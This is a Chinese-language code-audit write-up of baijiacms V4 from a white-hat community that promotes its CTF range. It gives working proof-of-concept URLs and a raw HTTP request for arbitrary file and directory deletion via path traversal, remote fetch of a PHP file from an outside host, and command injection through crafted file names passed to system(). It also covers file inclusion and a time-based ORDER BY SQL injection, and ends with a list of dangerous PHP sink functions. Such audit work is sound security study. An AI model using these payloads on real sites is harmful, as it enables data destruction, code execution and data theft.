baijiacmsV4代碼審計(jì)!
作者: 編輯:白帽子社區(qū)運(yùn)營(yíng)團(tuán)隊(duì)
"白帽子社區(qū)在線CTF靶場(chǎng)BMZCTF,歡迎各位在這里練習(xí)、學(xué)習(xí),BMZCTF全身心為網(wǎng)絡(luò)安全賽手提供優(yōu)質(zhì)學(xué)習(xí)環(huán)境,鏈接(http://www.bmzclub.cn/)
"
這個(gè)在此之前有大佬挖過(guò)了!最近學(xué)習(xí)代碼審計(jì)!再來(lái)學(xué)習(xí)學(xué)習(xí)!?????
先熟悉下代碼結(jié)構(gòu)!
代碼結(jié)構(gòu)
addons 插件
api 接口
assets 靜態(tài)文件
attachment 上傳目錄
cache 緩存目錄
config 系統(tǒng)配置文件
include 系統(tǒng)文件
system 后端代碼


個(gè)人將他們分成兩部分!
一部分是 system本身!另一部分是eshop!

漏洞復(fù)現(xiàn)
任意文件刪除
不需要admin權(quán)限
漏洞文件位置:
/system/eshop/core/mobile/util/uploader.php



看上圖應(yīng)該可以知道$operation $file 都可控!
跟進(jìn)一下:file_delete()


$settings返回是空的!那就可以容易文件刪除了!

poc
/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../flag.txt調(diào)試一下:

看到直接跳過(guò)了!


flag.txt已經(jīng)刪除了!
任意路徑刪除
需要后臺(tái)權(quán)限!
system/manager/class/web/database.php

這點(diǎn)很好看!就判斷了下 目錄是否存在!然后刪除目錄!

poc
/index.php?mod=site&act=manager&do=database&op=delete&id=Li8uLi8uLi90ZXRl刪除后:


后臺(tái)RCE
漏洞文件:后臺(tái)的:
/system/public/class/web/file.php


poc
/index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx.xxxx.xxxx/aaa/1.php
寫(xiě)入成功:

RCE
漏洞文件
/system/weixin/class/web/setting.php


$file_full_path直接傳進(jìn)了system!我們可以通過(guò)構(gòu)造文件名來(lái)RCE!

但是image_compress_openscale是空!我們?cè)O(shè)置一下縮放!

設(shè)置完后:

我自己添加了個(gè)$a!來(lái)更清晰看出值!

poc
convert -quality 80D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105(2)/;calc;.txt #D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/;calc;.txt #

但是出了意外!?????

識(shí)別了分號(hào)了!
換成其它的管道符就行!
poc2
convert -quality 80D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/&calc;.txt #.txtD:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/&calc;.txt #.txt
數(shù)線也不行!可能文件file_move出問(wèn)題了!

拓展
再看看有沒(méi)有可以挖的洞!
任意文件刪除
poc
system/eshop/core/web/shop/category.php
文件里也有:file_delete方法!而且thumb_old可控!就看怎么到這里就行了!

關(guān)鍵繞過(guò)checksubmit函數(shù)!

保證 $_CMS['isajax']存在就行!

全局一下:extends.inc.php

這就很easy了!
poc
POST /index.php?mod=site&do=shop&act=category&m=eshop&op=post&submit=1&id=1111&catename=aaaaaa&thumb_old=../flag.txt HTTP/1.1Host: upload.topContent-Length: 31Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1Origin: http://upload.topContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://upload.top/index.php?mod=site&do=shop&act=category&m=eshop&op=post&submit=1Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: __fileupload_type=image; __fileupload_dest_dir=; __fileupload_global=; XDEBUG_SESSION=PHPSTORM; PHPSESSID=1111Connection: close{"a":1,"b":2,"c":3,"d":4,"e":5}

刪除成功!?????

文件包含
include $file;

poc
/index.php?mod=site&do=shop&act=../../core&m=eshop利用條件必須是php結(jié)尾的文件!還要知道php文件名和位置!
就要早早能不能寫(xiě)入了!
sql注入
system/eshop/core/mobile/goods/index.php
全局對(duì)單引號(hào)有過(guò)濾!
但是這里有個(gè)orderby注入!
有點(diǎn)小問(wèn)題:
基于時(shí)間的盲注
payload
order by if(1=1,1,sleep(1))測(cè)試結(jié)果
select * from ha order by if(1=1,1,sleep(1)); #正常時(shí)間select * from ha order by if(1=2,1,sleep(1)); #有延遲
測(cè)試的時(shí)候發(fā)現(xiàn)延遲的時(shí)間并不是sleep(1)中的1秒,而是大于1秒。最后發(fā)現(xiàn)延遲的時(shí)間和所查詢的數(shù)據(jù)的條數(shù)是成倍數(shù)關(guān)系的。計(jì)算公式:
延遲時(shí)間=sleep(1)的秒數(shù)*所查詢數(shù)據(jù)條數(shù)
我所測(cè)試的ha表中有五條數(shù)據(jù),所以延遲了5秒。如果查詢的數(shù)據(jù)很多時(shí),延遲的時(shí)間就會(huì)很長(zhǎng)了。在寫(xiě)腳本時(shí),可以添加timeout這一參數(shù)來(lái)避免延遲時(shí)間過(guò)長(zhǎng)這一情況。(當(dāng)表里只有一條數(shù)據(jù)的時(shí)候不延遲)
poc
/index.php?mod=mobile&do=goods&act=index&m=eshop&op=get_list&order=111&random=1文章:
[https://xz.aliyun.com/t/9955#toc-0](https://xz.aliyun.com/t/9955#toc-0)
[https://www.wrpzkb.cn/rce/](https://www.wrpzkb.cn/rce/)
[https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E4%B9%8Border-by%E6%B3%A8%E5%85%A5/#%E5%9F%BA%E4%BA%8E%E6%97%B6%E9%97%B4%E7%9A%84%E7%9B%B2%E6%B3%A8](https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E4%B9%8Border-by%E6%B3%A8%E5%85%A5/#%E5%9F%BA%E4%BA%8E%E6%97%B6%E9%97%B4%E7%9A%84%E7%9B%B2%E6%B3%A8)
發(fā)現(xiàn)個(gè)有趣的
php 5 7 都可以!
{eval('echo 111;');} {}我記得以前剛開(kāi)始學(xué)代碼的時(shí)候老師說(shuō)過(guò)就是一種格式!里面可以放php各種東西!??
的 我看了看手冊(cè)理解的里面是當(dāng)成可變變量了!就和$$a一樣的意思!只不過(guò)寫(xiě)成 ${$a}

搜索關(guān)鍵函數(shù):
命令注入
system、exec、passthru、``、shell_exec、popen、proc_open、pcntl_exec
跨站腳本
echo、print、printf、vprintf、<%=$test%>
文件包含
include、include_once、require、require_once、show_source、highlight_file、readfile、file_get_contents、fopen、 nt>file
代碼注入
eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function
SQL 注入
insert、delete、update、select
文件管理
copy、rmdir、unlink、delete、fwrite、chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents、fread、readfile、ftruncate、file_put_contents、fputcsv、fputs,
文件上傳
move_uploaded_filepopen 無(wú)回顯的!

preg_replace

call_user_func

assert

call_user_func_array

